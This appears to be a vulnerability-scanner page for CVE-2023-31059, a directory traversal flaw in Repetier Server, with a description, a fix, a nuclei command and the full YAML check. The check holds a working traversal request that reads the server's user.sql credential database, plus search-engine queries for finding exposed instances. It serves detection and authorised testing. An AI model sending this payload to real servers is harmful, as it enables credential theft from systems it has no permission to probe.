Repetier Server - Directory Traversal

highseverity

7.5CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.

Impact

An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.

How to confirm it

Send: GET {{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%…
Positive when: binary AND status 200

Run it with nuclei: nuclei -id CVE-2023-31059 -u <target>

The full check

id: CVE-2023-31059

info:
  name: Repetier Server - Directory Traversal
  author: parthmalhotra,pdresearch
  severity: high
  description: |
    Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.
  reference:
    - https://cybir.com/2023/cve/poc-repetier-server-140/
    - https://www.repetier-server.com/download-repetier-server/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31059
    cwe-id: CWE-22
    epss-score: 0.05574
    epss-percentile: 0.92943
    cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: repetier-server
    product: repetier-server
    shodan-query:
      - title:"Repetier-Server"
      - http.title:"repetier-server"
    fofa-query:
      - title="Repetier-Server"
      - title="repetier-server"
    google-query: intitle:"repetier-server"
  tags: cve2023,cve,repetier,lfi,repetier-server,vkev,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 53514C69746520666F726D6174203300

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from